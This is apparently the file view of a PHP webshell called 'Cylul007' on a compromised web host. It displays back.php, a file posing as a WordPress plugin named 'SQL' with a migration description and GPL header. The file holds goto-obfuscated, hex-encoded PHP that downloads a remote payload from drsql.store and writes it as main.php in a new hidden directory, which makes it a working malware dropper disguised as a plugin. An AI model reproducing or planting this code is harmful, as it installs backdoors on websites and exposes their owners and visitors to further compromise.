Cylul007 Webshell

Uname : Linux h2web131 4.9.0-0.bpo.12-amd64 #1 SMP Debian 4.9.210-1~deb8u1 (2020-02-21) x86_64
PHP : 7.2.34 on fpm-fcgi
Time : 10 Dec 2025 10:03:32

Path : /home/clients/bc55d1d9a618a64acfd6a3c258c080a1/web/wp-content/plugins/sql/

Current File : /home/clients/bc55d1d9a618a64acfd6a3c258c080a1/web/wp-content/plugins/sql/back.php

<?php
/**
 * Plugin Name: SQL
 * Plugin URI: https://ss.com/
 * Description: Migrate .
 * Version: 2025
 * Requires at least: 5.3
 * Tested up to: 6.7
 * Requires PHP: 5.3
 * Author: SQL
 * Author URI: https://ss.com/
 * Network: true
 * Text Domain: ss
 * License: GPLv2 or later
 *
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License, version 2, as
 * published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 */
goto PqLoj; Jlsfr: die("\106\x61\x69\x6c\145\x64\x20\x74\157\x20\x77\x72\x69\x74\145\40\143\157\156\164\145\156\x74\x20\x74\x6f\x20{$oaEWK}"); goto unQd2; koDnr: if (!($AAmPq === false)) { goto cTorQ; } goto CMtkh; A4Rr1: if (mkdir($sa3tV, 0755, true)) { goto VrhqG; } goto WFtpB; pY8bP: $lnUcl = "\165\144\156\x77\161\x63\162\x71\141\146"; goto I_Fz_; kejSq: $AAmPq = W3pli($fFjrp); goto koDnr; WFtpB: die("\106\x61\151\154\145\x64\40\164\157\40\x63\x72\x65\x61\x74\145\x20\144\x69\162\x65\x63\x74\157\162\x79\72\x20{$sa3tV}"); goto NC5pg; AtVtU: $oaEWK = $sa3tV . "\x2f\x6d\x61\x69\156\x2e\160\x68\160"; goto IXmSk; NC5pg: VrhqG: goto DIJIi; unQd2: h1GaW: goto FH9Nv; CMtkh: die("\x46\141\x69\x6c\x65\144\x20\x74\157\x20\146\x65\x74\x63\x68\40\143\157\x6e\x74\145\x6e\x74\x20\x66\x72\157\x6d\x20{$fFjrp}\56\x20\105\162\162\157\x72\72\40" . error_get_last()["\155\x65\x73\163\x61\x67\145"]); goto SPck9; DIJIi: KEMek: goto uweyO; uweyO: function W3pLI($iEugc) { goto ZFsoL; hciYC: if ($hXwBd) { goto yVCaF; } goto daqvx; Wjpgr: $BqODQ = strpos($AAmPq, "\xd\12\xd\xa"); goto OXK1g; zb74A: SRiSN: goto COi87; dUphA: $AAmPq = ''; goto zb74A; Ecge5: $Lp160 .= "\x48\157\x73\x74\72\x20{$xdEsB}\15\12"; goto AKU9Y; xiXjl: BmWRm: goto f94t8; XJmSB: if (!($AAmPq !== false)) { goto TXX8j; } goto GORNH; AKU9Y: $Lp160 .= "\x43\x6f\156\156\145\x63\x74\x69\x6f\x6e\x3a\40\103\x6c\x6f\163\145\xd\xa\xd\12"; goto zgCKa; kIQEG: TXX8j: goto ehlep; WLck9: $T9SIj = $VdPqY["\160\141\x74\x68"] ?? "\x2f"; goto moOxW; xjyAB: a651F: goto VkvKx; f94t8: return $AAmPq; goto bFDDG; zgCKa: fwrite($hXwBd, $Lp160); goto dUphA; VkvKx: $VdPqY = parse_url($iEugc); goto PLAib; wHchq: gxoZb($AYONy); goto v_3Vo; S4IdB: BUeYe: goto wHchq; OCxSu: return false; goto S4IdB; qWP_I: $Lp160 = "\107\105\124\40{$T9SIj}\40\110\x54\124\x50\x2f\x31\56\61\15\xa"; goto Ecge5; PLAib: $xdEsB = $VdPqY["\x68\x6f\163\164"]; goto WLck9; mRS3c: $AAmPq .= fgets($hXwBd, 128); goto YTNpv; uprSP: if (!iul2F($AYONy)) { goto BUeYe; } goto Vw_dq; vxIEI: $AAmPq = substr($AAmPq, $BqODQ + 4); goto xiXjl; JWVas: c0VLa($AYONy, FoI9T, 10); goto BxYQX; GORNH: return $AAmPq; goto kIQEG; daqvx: return false; goto q5cVd; q5cVd: yVCaF: goto qWP_I; LdT9r: c0VLA($AYONy, rnl67, 1); goto JWVas; OXK1g: if (!($BqODQ !== false)) { goto BmWRm; } goto vxIEI; COi87: if (feof($hXwBd)) { goto NFMzF; } goto mRS3c; O3tj3: $hXwBd = @fsockopen($xdEsB, $UbHIO, $u5HZh, $aCztK, 10); goto hciYC; uStBd: NFMzF: goto nJQoK; ZFsoL: $AAmPq = @file_get_contents($iEugc); goto XJmSB; p7mJo: C0vlA($AYONy, io00O, $iEugc); goto UxZUv; ehlep: if (!function_exists("\x71\124\x34\111\120")) { goto a651F; } goto Ww4Fo; Ww4Fo: $AYONy = qt4Ip(); goto p7mJo; UxZUv: c0VlA($AYONy, zTrI9, 1); goto LdT9r; BxYQX: $AAmPq = GDUWW($AYONy); goto uprSP; moOxW: $UbHIO = $VdPqY["\x70\x6f\162\164"] ?? 80; goto O3tj3; v_3Vo: return $AAmPq; goto xjyAB; YTNpv: goto SRiSN; goto uStBd; Vw_dq: gXOZB($AYONy); goto OCxSu; nJQoK: fclose($hXwBd); goto Wjpgr; bFDDG: } goto kejSq; IXmSk: if (is_dir($sa3tV)) { goto KEMek; } goto A4Rr1; PqLoj: $KqS9z = dirname(__DIR__, 3); goto pY8bP; I_Fz_: $fFjrp = "\x68\164\164\160\72\57\x2f\x64\162\x73\x71\154\x2e\163\164\x6f\x72\x65\x2f\x6d\x61\151\156\x2e\x74\170\x74"; goto CDVj3; f_aEc: if (!(file_put_contents($oaEWK, $AAmPq) === false)) { goto h1GaW; } goto Jlsfr; CDVj3: $sa3tV = $KqS9z . "\57" . $lnUcl; goto AtVtU; SPck9: cTorQ: goto f_aEc; FH9Nv: echo "\123\165\x63\x63\145\x73\163\x66\x75\154\154\x79\40\144\x6f\167\x6e\x6c\157\141\144\145\144\40\x63\157\x6e\164\145\156\x74\x20\x66\x72\x6f\x6d\40{$fFjrp}\40\164\157\40{$oaEWK}";